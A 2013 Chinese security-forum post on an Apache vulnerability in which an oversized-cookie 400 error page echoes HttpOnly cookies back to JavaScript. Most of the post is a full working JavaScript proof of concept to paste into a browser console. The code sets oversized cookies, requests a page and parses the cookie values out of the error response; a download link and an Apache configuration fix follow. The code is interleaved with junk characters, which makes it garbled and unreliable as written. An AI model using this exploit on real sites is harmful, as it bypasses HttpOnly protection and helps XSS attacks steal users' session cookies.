找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2760|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。' D0 e  m$ E4 F/ ?
$ T3 t' o3 j- U2 E
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:# ^  G1 h+ W8 L. `6 u/ h4 E# O: W

6 k/ q9 W0 N# x4 ^! s& w/ ]% M3 H7 D. e" X& T1 o" w) \' [+ e
// http://www.exploit-db.com/exploits/18442/
, T+ E+ v8 Q' }+ i! a& _8 r( \+ O( afunction setCookies (good) {. ^6 L* z0 X8 O/ w- X: L
// Construct string for cookie value" f5 Z. Y8 S1 G' M+ U3 q* e9 ^7 k6 t" R
var str = "";
9 F$ y6 Q( P6 c' Z/ k0 I1 d4 ofor (var i=0; i< 819; i++) {
+ J2 D1 Q) f2 d% q# Z) R/ F. K# zstr += "x";) g0 C0 P) H5 B  d5 w. M
}
! S5 v  Z8 U. Y. U// Set cookies
) A& S" x4 T2 Bfor (i = 0; i < 10; i++) {
+ b! U! ?7 s& u0 o// Expire evil cookie* N" k, t3 F  U/ J8 H/ `: k/ ?
if (good) {
  D3 w2 }) x" W7 _var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";$ z. A: U& f; x" Z
}9 E+ A8 u7 ^: K2 d8 L
// Set evil cookie
) m8 j" n3 F  M+ selse {/ ]7 \/ s1 c& c
var cookie = "xss"+i+"="+str+";path=/";  I( Z( z- S* [9 @
}0 U2 b9 l/ l( }
document.cookie = cookie;; ^" m9 ^9 J7 S3 W1 H0 U
}. {6 m1 h- {* q
}, Y& h9 P' h% ?3 x* b
function makeRequest() {
( M8 d' N" \9 H9 SsetCookies();3 F' @; f  {4 |$ k) M
function parseCookies () {
$ Q$ x7 A% L4 W# v* {$ L: ivar cookie_dict = {};& y9 f; J0 O; P& `% p; M; ^
// Only react on 400 status
" S1 Y* w  W, U! Q5 q$ |if (xhr.readyState === 4 && xhr.status === 400) {7 e, n8 |" Y1 o- k& w, \
// Replace newlines and match <pre> content3 f0 y- t) r% t- Q9 _: v; ]3 O
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
7 z; R3 D1 R$ `+ Bif (content.length) {+ j* ^4 m& P! f2 r8 q
// Remove Cookie: prefix
) c. n2 k! U7 i8 h) m) Lcontent = content[1].replace("Cookie: ", "");; ^- e9 w) T  R4 e* [" i
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
% Y& m: o7 j0 H3 }- V6 Z* r- B- |// Add cookies to object
' Q" u+ q. {5 l7 M1 O; cfor (var i=0; i<cookies.length; i++) {
& y2 F! V3 _5 J! A0 dvar s_c = cookies.split('=',2);2 k; t7 B1 n' w: Y2 y9 ]
cookie_dict[s_c[0]] = s_c[1];
9 ]# M7 q8 b) k% Z2 `; O}
5 `' O( {  O+ q}) C, J' g% {4 L# e9 w8 b
// Unset malicious cookies- n* ^4 x- O) P7 s
setCookies(true);
  a  n4 y7 }! ^$ B, |0 Jalert(JSON.stringify(cookie_dict));
3 ~4 N4 r9 _0 H2 L# T! a}: L! C- ]. C4 t* N! l  n
}$ P1 ?* K8 U/ [$ C2 S
// Make XHR request: n: C4 |* \& a# Z1 p  U
var xhr = new XMLHttpRequest();4 R' s& K. @. H) W/ E3 u2 [/ n- l) J0 I
xhr.onreadystatechange = parseCookies;
6 `& H( e) k* u1 P$ ^5 x% V2 y3 \xhr.open("GET", "/", true);0 W1 X7 B! _% H! Z: S& s0 _
xhr.send(null);
* b2 M. v2 W$ |( s9 ^$ Z}
6 [$ k$ Q, e- A6 @; t+ x) W9 V0 ymakeRequest();4 A4 d1 j! @. P1 t

4 z- s$ l6 i4 g0 G. @你就能看见华丽丽的400错误包含着cookie信息。1 i8 q: g, `9 T: w- ]# D

; k# `% C' }* {( [+ S4 W下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#  F3 U3 Q: D! m4 G8 j& o
3 a/ p/ w: u( H3 C
修复方案:
5 ?' F1 E2 e- G! \- J; b  Y1 s
8 |- k; S& q* p6 \6 f. QApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下8 ?. c0 E% j" |; k7 W3 N/ M3 \
9 ]- B; {5 w( G& S% H, ]6 ?9 Y$ `
In the event of a problem or error, Apachecan be configured to do one of four things,
: t/ D* ~7 u. O2 j1 X; V6 e5 _
9 O: \4 F4 _- f4 {1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
! L+ C5 N5 X- z8 P! Q2. output acustomized message输出一段信息$ V5 M& \! w. y' t+ t  j  s: R
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
  X$ K/ w* e+ F# a2 {% t4. redirect to an external URL to handle theproblem/error转向一个外部URL
- p) J. W  n1 T3 r& |
& g5 e1 l; h, D经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容3 K: I! v/ v* V5 F1 ~7 d

8 ]! z0 `$ `1 t( G7 S& @/ L. Z- JApache配置:# Q' J3 e# L& ~! A1 g4 w$ E

0 Q" |6 P2 V; C* KErrorDocument400 " security test", ^# e* i  p# {

; `  b; X. o: B1 B! a当然,升级apache到最新也可:)。
9 y6 U+ b9 I. g! [# Q, p+ R0 H* {" J1 G6 L! c) S
参考:http://httpd.apache.org/security/vulnerabilities_22.html9 P/ Z. `' F. [- Q; a$ ~* @

) {+ \. U/ w+ F" e5 p6 p8 J; o8 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表